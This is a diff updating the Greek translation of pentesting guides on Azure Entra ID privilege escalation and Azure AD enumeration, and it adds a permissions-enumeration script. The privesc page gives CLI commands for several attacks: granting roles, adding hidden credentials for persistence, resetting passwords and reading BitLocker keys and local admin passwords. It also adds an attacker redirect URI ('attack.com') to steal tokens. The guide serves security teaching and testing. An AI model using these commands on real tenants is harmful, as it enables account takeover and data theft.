diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index 2036618b7..28dd539bb 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
-> Σημειώστε ότι **όχι όλες οι λεπτομερείς άδειες** που έχουν οι ενσωματωμένοι ρόλοι στο Entra ID **είναι επιλέξιμες για χρήση σε custom roles.**
+> Σημειώστε ότι **όχι όλες οι λεπτομερείς άδειες** που έχουν οι ενσωματωμένοι ρόλοι στο Entra ID **είναι επιλέξιμες για χρήση σε προσαρμοσμένους ρόλους.**
## Ρόλοι
-### Ρόλος: Privileged Role Administrator
+### Role: Privileged Role Administrator
-Αυτός ο ρόλος περιέχει τις απαραίτητες λεπτομερείς άδειες για να μπορεί να εκχωρεί ρόλους σε principals και να δίνει περισσότερες άδειες σε ρόλους. Και οι δύο ενέργειες μπορούν να καταχραστούν για να escalate privileges.
+Αυτός ο ρόλος περιέχει τις απαραίτητες λεπτομερείς άδειες για να είναι δυνατή η ανάθεση ρόλων σε principals και η παροχή περισσότερων δικαιωμάτων σε ρόλους. Και οι δύο ενέργειες μπορούν να καταχραστούν για να escalate privileges.
-- Εκχώρηση ρόλου σε χρήστη:
+- Ανάθεση ρόλου σε χρήστη:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
-- Προσθέστε περισσότερα δικαιώματα σε έναν ρόλο:
+- Προσθέστε περισσότερα permissions σε ένα role:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
-Αυτό επιτρέπει σε έναν επιτιθέμενο να **add credentials** (κωδικούς πρόσβασης ή πιστοποιητικά) σε υπάρχουσες εφαρμογές. Εάν η εφαρμογή έχει προνομιούχα δικαιώματα, ο επιτιθέμενος μπορεί να αυθεντικοποιηθεί ως αυτή η εφαρμογή και να αποκτήσει αυτά τα προνόμια.
+Αυτό επιτρέπει σε έναν επιτιθέμενο να **add credentials** (passwords or certificates) σε υπάρχουσες εφαρμογές. Εάν η εφαρμογή έχει privileged permissions, ο επιτιθέμενος μπορεί να authenticate ως εκείνη την εφαρμογή και να αποκτήσει privileges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id --append
@@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
-Αυτό επιτρέπει τις ίδιες ενέργειες με `applications/credentials/update`, αλλά περιορισμένες σε εφαρμογές μονού καταλόγου.
+Αυτό επιτρέπει τις ίδιες ενέργειες με `applications/credentials/update`, αλλά αφορά αποκλειστικά εφαρμογές ενός μόνο καταλόγου.
```bash
az ad app credential reset --id --append
```
### `microsoft.directory/applications/owners/update`
-Προσθέτοντας τους εαυτούς τους ως owner, ένας επιτιθέμενος μπορεί να χειραγωγήσει την εφαρμογή, συμπεριλαμβανομένων των credentials και των permissions.
+Προσθέτοντας τον εαυτό τους ως owner, ένας επιτιθέμενος μπορεί να χειριστεί την εφαρμογή, συμπεριλαμβανομένων των credentials και των permissions.
```bash
az ad app owner add --id --owner-object-id
az ad app credential reset --id --append
@@ -77,22 +77,22 @@ az ad app owner list --id
```
### `microsoft.directory/applications/allProperties/update`
-Ένας επιτιθέμενος μπορεί να προσθέσει ένα redirect URI σε εφαρμογές που χρησιμοποιούνται από χρήστες του tenant και στη συνέχεια να μοιραστεί μαζί τους login URLs που χρησιμοποιούν το νέο redirect URI προκειμένου να κλέψει τα tokens τους. Σημειώστε ότι αν ο χρήστης ήταν ήδη συνδεδεμένος στην εφαρμογή, η authentication θα γίνει αυτόματα χωρίς ο χρήστης να χρειάζεται να αποδεχθεί οτιδήποτε.
+Ένας επιτιθέμενος μπορεί να προσθέσει ένα redirect URI σε applications που χρησιμοποιούνται από users του tenant και στη συνέχεια να μοιραστεί μαζί τους login URLs που χρησιμοποιούν το νέο redirect URL προκειμένου να κλέψει τα tokens τους. Σημειώστε ότι αν ο user ήταν ήδη logged in στην application, η authentication θα γίνει αυτόματα χωρίς ο user να χρειάζεται να αποδεχθεί οτιδήποτε.
-Σημειώστε επίσης ότι είναι δυνατόν να αλλάξει κανείς τα permissions που ζητάει η εφαρμογή για να αποκτήσει περισσότερα δικαιώματα, αλλά σε αυτή την περίπτωση ο χρήστης θα πρέπει να αποδεχθεί ξανά την προτροπή (prompt) που ζητάει όλα τα permissions.
+Σημειώστε επίσης ότι είναι δυνατό να αλλάξουν τα permissions που ζητά η application για να αποκτήσει περισσότερα permissions, αλλά σε αυτή την περίπτωση ο user θα χρειαστεί να αποδεχθεί ξανά το prompt που ζητάει όλες τις permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
-### Applications Privilege Escalation
+### Εφαρμογές Privilege Escalation
-**Όπως εξηγείται στο [αυτό το άρθρο](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** ήταν πολύ συνηθισμένο να βρίσκονται προεπιλεγμένες εφαρμογές που έχουν ανατεθειμένες **API permissions** τύπου **`Application`**. Μια API Permission (όπως ονομάζεται στην κονσόλα Entra ID) του τύπου **`Application`** σημαίνει ότι η εφαρμογή μπορεί να προσπελάσει το API και να εκτελεί ενέργειες χωρίς περιβάλλον χρήστη (χωρίς χρήστη να κάνει σύνδεση στην εφαρμογή) και χωρίς να απαιτούνται ρόλοι Entra ID για να το επιτρέψουν. Επομένως, είναι πολύ συνηθισμένο να υπάρχουν **high privileged applications in every Entra ID tenant**.
+**Όπως εξηγείται στο [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** ήταν πολύ συνηθισμένο να βρίσκονται προεπιλεγμένες εφαρμογές που έχουν **API permissions** τύπου **`Application`** εκχωρημένα σε αυτές. Μία API Permission (όπως αναφέρεται στην κονσόλα Entra ID) τύπου **`Application`** σημαίνει ότι η εφαρμογή μπορεί να έχει πρόσβαση στο API και να εκτελεί ενέργειες χωρίς context χρήστη (χωρίς ένας χρήστης να κάνει login στην εφαρμογή), και χωρίς να χρειάζεται ρόλους Entra ID για να της το επιτρέψουν. Επομένως, είναι πολύ συνηθισμένο να βρίσκει κανείς **εφαρμογές με υψηλά προνόμια σε κάθε Entra ID tenant**.
-Στη συνέχεια, αν ένας επιτιθέμενος έχει οποιαδήποτε άδεια/ρόλο που επιτρέπει να **update the credentials (secret o certificate) of the application**, μπορεί να δημιουργήσει νέο credential και στη συνέχεια να το χρησιμοποιήσει για να **authenticate as the application**, αποκτώντας όλες τις άδειες (permissions) που έχει η εφαρμογή.
+Στη συνέχεια, αν ένας attacker έχει οποιοδήποτε permission/role που του επιτρέπει να **update the credentials (secret o certificate) of the application**, ο attacker μπορεί να δημιουργήσει ένα νέο credential και μετά να το χρησιμοποιήσει για να **authenticate as the application**, αποκτώντας όλα τα permissions που έχει η εφαρμογή.
-Σημειώστε ότι το αναφερόμενο άρθρο μοιράζεται κάποιες **API permissions** κοινών προεπιλεγμένων εφαρμογών της Microsoft, όμως λίγο μετά τη δημοσίευση αυτή η Microsoft διόρθωσε το ζήτημα και πλέον δεν είναι δυνατό να γίνει login ως Microsoft applications. Ωστόσο εξακολουθεί να είναι πιθανό να βρεθούν **custom applications with high privileges that could be abused**.
+Σημειώστε ότι το αναφερόμενο blog μοιράζεται μερικά **API permissions** κοινών Microsoft default applications, ωστόσο λίγο μετά από αυτό το report η Microsoft διόρθωσε αυτό το ζήτημα και τώρα δεν είναι δυνατό να κάνεις login ως Microsoft applications πια. Παρ' όλα αυτά, εξακολουθεί να είναι πιθανό να βρει κανείς **custom applications με υψηλά προνόμια που θα μπορούσαν να καταχραστούν**.
How to enumerate the API permissions of an application:
```bash
@@ -125,7 +125,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
-Βρείτε όλες τις εφαρμογές με δικαιώματα API για μη-Microsoft APIs (az cli)
+Βρείτε όλα τα API permissions των εφαρμογών και επισημάνετε τις Microsoft-owned APIs
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -147,6 +147,32 @@ done
return 1
}
+get_permission_value() {
+local resource_app_id="$1"
+local perm_type="$2"
+local perm_id="$3"
+local key value
+key="${resource_app_id}|${perm_type}|${perm_id}"
+
+value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
+if [ -n "$value" ]; then
+printf '%s\n' "$value"
+return 0
+fi
+
+if [ "$perm_type" = "Scope" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+elif [ "$perm_type" = "Role" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+else
+value=""
+fi
+
+[ -n "$value" ] || value="UNKNOWN"
+printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
+printf '%s\n' "$value"
+}
+
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -155,7 +181,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
-trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+tmp_perm_cache="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -169,9 +196,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
-echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
-# Print only app permissions where the target API is NOT Microsoft-owned.
+# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -186,14 +213,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
-continue
+is_ms="true"
+else
+is_ms="false"
fi
+permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
-echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
+perm_label="${perm_type}:${perm_value}"
+if [ -z "$permissions_csv" ]; then
+permissions_csv="$perm_label"
+else
+permissions_csv="${permissions_csv},${perm_label}"
+fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
+
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -203,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
-Αυτό επιτρέπει σε έναν attacker να προσθέσει credentials σε υπάρχοντες service principals. Εάν ο service principal έχει elevated privileges, ο attacker μπορεί να αναλάβει αυτά τα privileges.
+Αυτό επιτρέπει σε έναν επιτιθέμενο να προσθέσει credentials σε υπάρχοντες service principals. Εάν ο service principal έχει αυξημένα προνόμια, ο επιτιθέμενος μπορεί να αναλάβει αυτά τα προνόμια.
```bash
az ad sp credential reset --id --append
```
> [!CAUTION]
-> Ο νέος παραγόμενος κωδικός δεν θα εμφανιστεί στην web κονσόλα, οπότε αυτό μπορεί να είναι ένας stealth τρόπος για να διατηρήσετε persistence σε ένα service principal.\
+> Ο νέος κωδικός που δημιουργείται δεν θα εμφανιστεί στην web console, οπότε αυτό μπορεί να είναι ένας stealth τρόπος για να διατηρήσετε persistence σε ένα service principal.\
> Από το API μπορούν να βρεθούν με: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **δεν είναι δυνατό να τροποποιηθεί η ιδιότητα passwordCredentials** του SP και πρώτα πρέπει να το ξεκλειδώσετε. Για αυτό χρειάζεστε μια άδεια (`microsoft.directory/applications/allProperties/update`) που σας επιτρέπει να εκτελέσετε:
+Εάν λάβετε το σφάλμα `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` είναι επειδή **δεν είναι δυνατή η τροποποίηση της ιδιότητας passwordCredentials** του SP και πρώτα πρέπει να το ξεκλειδώσετε. Για αυτό χρειάζεστε μια άδεια (`microsoft.directory/applications/allProperties/update`) που σας επιτρέπει να εκτελέσετε:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
-Αυτό επιτρέπει σε έναν attacker να προσθέσει credentials σε υπάρχοντα service principals. Εάν το service principal έχει elevated privileges, ο attacker μπορεί να αναλάβει αυτά τα privileges.
+Αυτό επιτρέπει σε έναν attacker να προσθέσει credentials σε υπάρχοντες service principals. Αν ο service principal έχει αυξημένα προνόμια, ο attacker μπορεί να αναλάβει αυτά τα προνόμια.
```bash
az ad sp credential reset --id --append
```
### `microsoft.directory/servicePrincipals/owners/update`
-Παρόμοια με τις εφαρμογές, αυτή η άδεια επιτρέπει την προσθήκη περισσότερων ιδιοκτητών σε ένα service principal. Η ιδιοκτησία ενός service principal επιτρέπει τον έλεγχο των διαπιστευτηρίων και των δικαιωμάτων του.
+Παρόμοια με τις εφαρμογές, αυτή η άδεια επιτρέπει την προσθήκη περισσότερων owners σε ένα service principal. Η ιδιοκτησία ενός service principal επιτρέπει τον έλεγχο των διαπιστευτηρίων και των δικαιωμάτων του.
```bash
# Add new owner
spId=""
@@ -241,13 +279,13 @@ az ad sp credential reset --id --append
az ad sp owner list --id
```
> [!CAUTION]
-> Αφού πρόσθεσα έναν νέο owner, προσπάθησα να τον αφαιρέσω αλλά το API απάντησε ότι η μέθοδος DELETE δεν υποστηρίζεται, ακόμα κι αν είναι η μέθοδος που χρειάζεσαι για να διαγράψεις τον owner. Έτσι **δεν μπορείτε πλέον να αφαιρέσετε owners**.
+> Μετά την προσθήκη ενός νέου ιδιοκτήτη, προσπάθησα να τον αφαιρέσω αλλά το API απάντησε ότι η μέθοδος DELETE δεν υποστηρίζεται, ακόμα κι αν είναι η μέθοδος που πρέπει να χρησιμοποιήσετε για να διαγράψετε τον ιδιοκτήτη. Επομένως **δεν μπορείτε να αφαιρείτε ιδιοκτήτες σήμερα**.
-### `microsoft.directory/servicePrincipals/disable` and `enable`
+### `microsoft.directory/servicePrincipals/disable` και `enable`
-Αυτές οι άδειες επιτρέπουν την απενεργοποίηση και ενεργοποίηση των service principals. Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει αυτήν την άδεια για να ενεργοποιήσει έναν service principal στον οποίο θα μπορούσε να αποκτήσει πρόσβαση με κάποιο τρόπο, προκειμένου να κλιμακώσει προνόμια.
+Αυτές οι άδειες επιτρέπουν την απενεργοποίηση και ενεργοποίηση των service principals. Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει αυτήν την άδεια για να ενεργοποιήσει ένα service principal στο οποίο θα μπορούσε με κάποιον τρόπο να αποκτήσει πρόσβαση, προκειμένου να κλιμακώσει τα προνόμια.
-Σημειώστε ότι για αυτήν την τεχνική ο επιτιθέμενος θα χρειαστεί περισσότερες άδειες για να αναλάβει τον έλεγχο του ενεργοποιημένου service principal.
+Σημειώστε ότι για αυτήν την τεχνική ο επιτιθέμενος θα χρειαστεί περισσότερες άδειες για να αναλάβει τον ενεργοποιημένο service principal.
```bash
# Disable
az ad sp update --id --account-enabled false
@@ -257,7 +295,7 @@ az ad sp update --id --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
-Αυτές οι άδειες επιτρέπουν τη δημιουργία και ανάκτηση credentials για single sign-on, κάτι που μπορεί να επιτρέψει πρόσβαση σε εφαρμογές τρίτων.
+Αυτά τα δικαιώματα επιτρέπουν τη δημιουργία και την ανάκτηση διαπιστευτηρίων για single sign-on, κάτι που μπορεί να δώσει πρόσβαση σε εφαρμογές τρίτων.
```bash
# Generate SSO creds for a user or a group
spID=""
@@ -283,15 +321,15 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
-Αυτό το δικαίωμα επιτρέπει την προσθήκη χρηστών σε προνομιούχες ομάδες, οδηγώντας σε privilege escalation.
+Αυτό το δικαίωμα επιτρέπει την προσθήκη χρηστών σε privileged groups, οδηγώντας σε privilege escalation.
```bash
az ad group member add --group --member-id
```
-**Σημείωση**: Αυτή η άδεια εξαιρεί τις Entra ID role-assignable groups.
+**Σημείωση**: Αυτό το δικαίωμα εξαιρεί τις role-assignable groups του Entra ID.
### `microsoft.directory/groups/owners/update`
-Αυτή η άδεια επιτρέπει σε κάποιον να γίνει κάτοχος ομάδων. Ο κάτοχος μιας ομάδας μπορεί να ελέγχει τη σύνθεση και τις ρυθμίσεις της ομάδας, ενδεχομένως κλιμακώνοντας τα προνόμια που σχετίζονται με την ομάδα.
+Αυτό το δικαίωμα επιτρέπει να γίνει κάποιος owner ομάδων. Ένας owner ομάδας μπορεί να ελέγχει τη σύνθεση της ομάδας και τις ρυθμίσεις, ενδεχομένως οδηγώντας σε κλιμάκωση προνομίων για την ομάδα.
```bash
az ad group owner add --group --owner-object-id
az ad group member add --group --member-id
@@ -300,7 +338,7 @@ az ad group member add --group --member-id
### `microsoft.directory/groups/members/update`
-Αυτό το δικαίωμα επιτρέπει την προσθήκη μελών σε μια ομάδα. Ένας επιτιθέμενος θα μπορούσε να προσθέσει τον εαυτό του ή κακόβουλους λογαριασμούς σε ομάδες με προνόμια, παρέχοντας ανυψωμένη πρόσβαση.
+Αυτή η άδεια επιτρέπει την προσθήκη μελών σε μια ομάδα. Ένας επιτιθέμενος θα μπορούσε να προσθέσει τον εαυτό του ή κακόβουλους λογαριασμούς σε προνομιακές ομάδες, παρέχοντας αυξημένη πρόσβαση.
```bash
az ad group member add --group --member-id
```
@@ -317,11 +355,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
-**Σημείωση**: Αυτή η άδεια εξαιρεί τις Entra ID role-assignable groups.
+**Σημείωση**: Αυτή η άδεια εξαιρεί τα Entra ID role-assignable groups.
### Dynamic Groups Privesc
-Ενδέχεται να είναι δυνατό για χρήστες να κλιμακώσουν προνόμια τροποποιώντας τις ιδιότητές τους ώστε να προστεθούν ως μέλη των dynamic groups. Για περισσότερες πληροφορίες δείτε:
+Ενδέχεται να είναι δυνατό για χρήστες να escalate privileges τροποποιώντας τις δικές τους ιδιότητες ώστε να προστεθούν ως μέλη των dynamic groups. Για περισσότερες πληροφορίες δείτε:
{{#ref}}
dynamic-groups.md
@@ -331,13 +369,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
-Αυτή η άδεια επιτρέπει την επαναφορά του κωδικού πρόσβασης για χρήστες χωρίς δικαιώματα διαχειριστή, επιτρέποντας σε έναν πιθανό επιτιθέμενο να κλιμακώσει προνόμια σε άλλους χρήστες. Αυτή η άδεια δεν μπορεί να ανατεθεί σε custom roles.
+Αυτή η άδεια επιτρέπει την επαναφορά κωδικού σε χρήστες χωρίς δικαιώματα διαχειριστή, επιτρέποντας σε έναν πιθανό επιτιθέμενο να escalate privileges σε άλλους χρήστες. Αυτή η άδεια δεν μπορεί να ανατεθεί σε προσαρμοσμένους ρόλους.
```bash
az ad user update --id --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
-Αυτή η άδεια επιτρέπει την τροποποίηση των ιδιοτήτων του χρήστη. Είναι συνηθισμένο να υπάρχουν δυναμικές ομάδες που προσθέτουν χρήστες βάσει των τιμών ιδιοτήτων, επομένως αυτή η άδεια θα μπορούσε να επιτρέψει σε έναν χρήστη να ορίσει την απαραίτητη τιμή ιδιότητας ώστε να γίνει μέλος μιας συγκεκριμένης δυναμικής ομάδας και να αποκτήσει αυξημένα προνόμια.
+Αυτή η άδεια επιτρέπει την τροποποίηση των ιδιοτήτων του χρήστη. Είναι συνηθισμένο να υπάρχουν δυναμικές ομάδες που προσθέτουν χρήστες με βάση τις τιμές ιδιοτήτων, επομένως αυτή η άδεια θα μπορούσε να επιτρέψει σε έναν χρήστη να ορίσει την απαιτούμενη τιμή ιδιότητας ώστε να γίνει μέλος μιας συγκεκριμένης δυναμικής ομάδας και να αυξήσει τα προνόμιά του.
```bash
#e.g. change manager of a user
victimUser=""
@@ -355,7 +393,7 @@ az rest --method PATCH \
```
## Conditional Access Policies & MFA bypass
-Λανθασμένα διαμορφωμένες conditional access policies που απαιτούν MFA μπορούν να παρακαμφθούν. Έλεγξε:
+Λανθασμένα διαμορφωμένες conditional access policies που απαιτούν MFA μπορούν να παρακαμφθούν, έλεγξε:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -365,7 +403,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
-Αυτό το δικαίωμα επιτρέπει σε επιτιθέμενους να αναθέσουν στον εαυτό τους την ιδιότητα owners σε συσκευές, ώστε να αποκτήσουν έλεγχο ή πρόσβαση σε ρυθμίσεις και δεδομένα ειδικά για τη συσκευή.
+Αυτό το δικαίωμα επιτρέπει σε attackers να αναθέσουν στον εαυτό τους την ιδιότητα ιδιοκτήτη συσκευών, ώστε να αποκτήσουν έλεγχο ή πρόσβαση σε ρυθμίσεις και δεδομένα ειδικά για τη συσκευή.
```bash
deviceId=""
userId=""
@@ -376,7 +414,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
-Αυτή η άδεια επιτρέπει σε attackers να συσχετίσουν τον λογαριασμό τους με συσκευές ώστε να αποκτήσουν πρόσβαση ή να παρακάμψουν πολιτικές ασφαλείας.
+Αυτή η άδεια επιτρέπει σε attackers να συσχετίσουν τον λογαριασμό τους με συσκευές για να αποκτήσουν πρόσβαση ή να παρακάμψουν πολιτικές ασφαλείας.
```bash
deviceId=""
userId=""
@@ -387,7 +425,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
-Αυτό το δικαίωμα επιτρέπει σε attackers να διαβάσουν τις ιδιότητες των εφεδρικών local administrator account credentials για συσκευές που έχουν ενωθεί στο Microsoft Entra, συμπεριλαμβανομένου του password
+Αυτή η άδεια επιτρέπει σε επιτιθέμενους να διαβάζουν τις ιδιότητες των αντιγραμμένων credentials του τοπικού λογαριασμού διαχειριστή για συσκευές ενωμένες με Microsoft Entra, συμπεριλαμβανομένου του password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -402,7 +440,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
-Αυτή η άδεια επιτρέπει την πρόσβαση σε BitLocker keys, κάτι που μπορεί να επιτρέψει σε έναν attacker να αποκρυπτογραφήσει δίσκους, θέτοντας σε κίνδυνο την εμπιστευτικότητα των δεδομένων.
+Αυτό το δικαίωμα επιτρέπει την πρόσβαση στα κλειδιά BitLocker, κάτι που θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να αποκρυπτογραφήσει δίσκους, συμβιβάζοντας την εμπιστευτικότητα των δεδομένων.
```bash
# List recovery keys
az rest --method GET \
@@ -413,7 +451,7 @@ recoveryKeyId=""
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
-## Άλλες ενδιαφέρουσες permissions (TODO)
+## Άλλα Ενδιαφέροντα Δικαιώματα (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index f963482d4..dc635ff54 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -4,11 +4,11 @@
## Βασικές Πληροφορίες
-Το Azure Active Directory (Azure AD) είναι η cloud υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και πρόσβασης. Επιτρέπει στους εργαζόμενους να συνδέονται και να αποκτούν πρόσβαση σε πόρους, τόσο εντός όσο και εκτός του οργανισμού, όπως τα Microsoft 365, το Azure portal και πολλές άλλες εφαρμογές SaaS. Ο σχεδιασμός του Azure AD εστιάζει στην παροχή βασικών υπηρεσιών ταυτοποίησης, κυρίως συμπεριλαμβάνοντας **authentication, authorization, and user management**.
+Azure Active Directory (Azure AD) λειτουργεί ως η cloud υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και πρόσβασης. Είναι απαραίτητο για να επιτρέπεται στους υπαλλήλους να συνδέονται και να έχουν πρόσβαση σε πόρους, τόσο εντός όσο και εκτός του οργανισμού, συμπεριλαμβανομένων των Microsoft 365, του Azure portal και πολλών άλλων εφαρμογών SaaS. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτότητας, κυρίως συμπεριλαμβανομένων της **έλεγχος ταυτότητας, εξουσιοδότηση και διαχείριση χρηστών**.
-Σημαντικά χαρακτηριστικά του Azure AD περιλαμβάνουν **multi-factor authentication** και **conditional access**, καθώς και απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφάλειας της Microsoft. Αυτές οι δυνατότητες ενισχύουν σημαντικά την ασφάλεια των ταυτοτήτων χρηστών και επιτρέπουν στους οργανισμούς να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασης τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος cloud υπηρεσιών της Microsoft, το Azure AD είναι κρίσιμο για τη διαχείριση των ταυτοτήτων χρηστών στο cloud.
+Βασικά χαρακτηριστικά του Azure AD περιλαμβάνουν την **πολυπαραγοντική πιστοποίηση** και την **πρόσβαση υπό όρους**, καθώς και απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφάλειας της Microsoft. Αυτά τα χαρακτηριστικά ενισχύουν σημαντικά την ασφάλεια των ταυτοτήτων των χρηστών και επιτρέπουν στους οργανισμούς να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασής τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος cloud υπηρεσιών της Microsoft, το Azure AD είναι καθοριστικό για τη διαχείριση των ταυτοτήτων χρηστών στο cloud.
-## Καταγραφή
+## Απαρίθμηση
### **Σύνδεση**
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
-Όταν κάνετε **login** μέσω **CLI** στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Azure Application** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Applications, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. **Δεν θα μπορείτε να τα δείτε όλα** στις **λίστες επιτρεπόμενων εφαρμογών** που μπορείτε να δείτε στην κονσόλα, **αλλά επιτρέπονται από προεπιλογή**.
+Όταν κάνετε **login** μέσω **CLI** στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Azure Application** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι **Applications**, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **have a client id**. Δεν θα μπορείτε να δείτε όλα αυτά στις **allowed applications lists** που βλέπετε στην **console**, **αλλά είναι επιτρεπτές από προεπιλογή**.
-Για παράδειγμα, ένα **powershell script** που **authenticates** χρησιμοποιεί μια εφαρμογή με client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Ακόμα κι αν η εφαρμογή δεν εμφανίζεται στην κονσόλα, ένας sysadmin θα μπορούσε να **μπλοκάρει αυτήν την εφαρμογή** έτσι ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της App.
